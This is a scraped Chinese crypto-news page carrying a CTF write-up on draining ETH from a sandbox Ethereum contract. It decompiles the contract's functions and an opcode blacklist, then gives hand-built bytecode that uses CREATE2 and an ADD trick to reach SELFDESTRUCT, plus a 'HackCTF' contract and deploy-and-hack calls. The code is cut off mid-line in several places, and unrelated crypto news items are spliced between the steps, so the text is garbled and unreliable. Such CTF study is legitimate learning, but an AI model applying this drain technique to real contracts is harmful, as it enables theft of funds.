基于samczsun的解析文章學習
分析原文:
本文都是基于https://samczsun
elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}
再看到其的全局變量,一共有兩個,分別在slot0和slot1的位置處。可以看到這兩個全局變量都是uint256數組。
uint256array_0;//STORAGEuint256_owners;//STORAGE
依次分析函數,找到我們感興趣的部分,然后再深入調查該函數,看是否能夠達到我們的目標——拿到該合約的所有ETH。
Uniswap Wallet 更新至 v1.5 版本,支持 WalletConnect 2.0:5月10日消息,Uniswap 自托管開源移動錢包 Uniswap Wallet 發布 v1.5 版本,更新包括:調整滑點、支持 WalletConnect 2.0、支持智能合約錢包。[2023/5/10 14:54:18]
首先是函數1:0x4214352d
function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg
//翻譯一下functionset_array(uint256_value,uint256_key)public{require(msg
可以看到該函數主要是對array_0進行賦值,在賦值前檢查了兩項:
msg
=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg
imToken 2.11.正式支持 WalletConnect 2.0:3月12日消息,加密貨幣錢包imToken更新至2.11.3版本,該版本的更新包括支持WalletConnect 2.0;升級以太坊錢包風控系統,自動屏蔽有風險的數字資產;優化RPC節點延時顯示,支持節點異常提示;消息中心功能優化,通知列表增加公鏈網絡標識。[2023/3/12 12:57:56]
與set_array函數類似
再看函數3:owners
functionowners(uint256varg0)publicnonPayable{require(msg
=>functionowners(uint256_key)publicviewreturns(address){require(msg
最后看函數4:0x2918435f
function0x2918435f(addressvarg0)publicpayable{require(msg
CoinDesk推出Consensus大會的多年期NFT訪問通行證:金色財經報道,由CoinDesk策劃,是加密貨幣和Web3領域最大的年度活動之一Consensus大會,似乎活動團隊正在為2023年的迭代進行重大改進。近日,CoinDesk宣布了一系列合作伙伴關系,旨在為該活動創造一種NFT代幣門控體驗。它是以Microcosms為中心的一個NFT集合,將為持有者提供三年的Consensus大會通行證訪問權限,以及一個從2023年到2025年展開的多層次獎勵系統。[2023/3/6 12:43:52]
v2=1;}require(v0);MEM=MEM(varg0
assert(v5<varg0
v7,v8=varg0
require(v7);}
可以看到函數40x2918435f比較復雜,簡單分析函數4中有三層require:
CON上線BitForex交易所并達成戰略合作 ?:據官方消息,火幣生態鏈上首個杠桿聚合收益平臺Converter宣布,與數字資產交易平臺BitForex達成戰略合作,其生態治理代幣CON亦將于3月26日首發上線BitForex。充值與交易(CON/USDT)將于17:00正式開啟。
Converter于3月16日正式上線,是一款融合了Harvest和Alpha杠桿收益聚合器協議。雙方將共拓海外市場,深入社區建設。[2021/3/25 19:18:27]
要求調用該函數的msg
v2=1;}require(v0);=>翻譯一下:boolpermit=false;uint256i=0;while(i<_owners
i=1;}require(permit);
3.要求作為傳入參數的地址addr,逐字節檢查該參數地址對應的代碼,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節。在黃皮書中這幾個字節對應的分別是:create,call,callcode,delegatecall,staticcall,selfdestruct.這部分對應的代碼比較復雜,我們將對比opcode,逐字翻譯```MEM=MEM(varg0
動態 | 初創公司VLUX加入Iconiq Lab的ICO加速器項目:7月6日消息,德國風險投資集團Iconiq Lab周四宣布,將在其ICO加速器項目中增加新成員Verv。這是VLUX令牌背后的初創公司。該公司證實,這一新舉措是為了通過Verv的點對點能源交易平臺,推進可再生能源的普遍需求。 Verv已建立了一個點對點的可再生能源交易平臺,該平臺基于其物聯網智能中心設備,可以通過人工智能獲得一個家庭用電的全面和實時概述。Verv交易平臺允許擁有太陽能電池板等可再生能源的房主通過區塊鏈直接向他們的鄰居出售任何多余的能源(Crowdfundinsider)。[2018/7/6]
assert(v5<varg0
}
問題分析-2
現在我們需要滿足第三個條件,即構造一個合約,該合約對應的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節,因此需要我們手動來寫合約,然后通過該sandbox的第四個函數來delegatecall該合約,從而清空sandbox中的ETH。
首先明確我們使用create2,其為0xf5,我們可以首先看下黃皮書中關于create2的定義
簡單來說是先計算出要創建的合約的地址,然后執行要創建的合約的初始化代碼,再將該初始化代碼與要創建的合約地址進行關聯。
故我們需要一個合約,他的runtimecode中執行一個create2函數,創建一個臨時合約,并將上下文環境中的address(this)里的全部ETH都作為贈品贈與該臨時合約,該臨時合約的初始化代碼中應該執行selfdestruct(tx.orgin)函數來將所有的ETH轉移給合約部署人。
先用opcode來寫runtimecode:
//tx.origin這里的ORIGIN是payload,不應該被執行,故需要改為push10x32//SELFDESTRUCT//構造payload,因為SELFDESTRUCT是0xff,不能被使用,故可以通過ADD來繞道實現push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//構造payload0x40->0x32ff,push100//Us->salt鹽push10x04//Us->length長度4push10x3e//us->offset偏移值->內存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH數量->應該是該address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5
在寫該合約的初始化代碼,可以用solidity寫了,因為是我自己執行來部署該runtimecode
contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}
然后部署HackCTF合約,在調用ctf中的第四個函數,將該合約的地址作為參數傳進去即可
hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())
免責聲明:作為區塊鏈信息平臺,本站所發布文章僅代表作者個人觀點,與鏈聞ChainNews立場無關。文章內的信息、意見等均僅供參考,并非作為或被視為實際投資建議。
本文來源于非小號媒體平臺:
登鏈社區
現已在非小號資訊平臺發布105篇作品,
非小號開放平臺歡迎幣圈作者入駐
入駐指南:
/apply_guide/
本文網址:
/news/10087897.html
免責聲明:
1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險
2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場
上一篇:
SendingLabs完成1250萬美元種子輪融資,以構建「Web3通信堆棧」
F3是一個分散式云存儲平臺。F3利用區塊鏈技術,利用全球未充分應用的硬盤容量,創建了一個比傳統云存儲提供商更強大、更實惠的數據存儲市場。讓你可以把硬盤的多余空間租借給其他用戶,以此來獲取收益.
1900/1/1 0:00:00為了慶祝YFDAIFinance(YFDAI)在庫幣重磅上線,庫幣和YFDAI團隊將提供20YFDAI(約36,000USDT)的豪華獎池.
1900/1/1 0:00:00?1、短線邏輯思維比較嚴重這里所謂短暫的邏輯思維,是需要人們擁有長遠的總體目標。合理分配倉位,長期作主、短期作為輔助,短期趨勢的變化也需要跟隨.
1900/1/1 0:00:00Gate.io已于近日新增功能“閃兌”,即一鍵兌換不同數字資產,即刻完成自動結算,方便快速。全過程不收取手續費,最低10美元即可使用.
1900/1/1 0:00:00通過利用剩余天然氣能源,總部位于丹佛的加密礦企CrusoeEnergy已將二氧化碳排放量減少了一半以上,相當于大約1700輛車的排放量。該公司安裝管道系統,將天然氣轉化為電力來進行比特幣挖礦.
1900/1/1 0:00:00據鳳凰網財經消息,中國銀行原副行長王永利在談到比特幣時表示,貨幣問題非常復雜,當前人們對貨幣的認知已經完全混亂,正因為這樣,比特幣才會出現“信仰”.
1900/1/1 0:00:00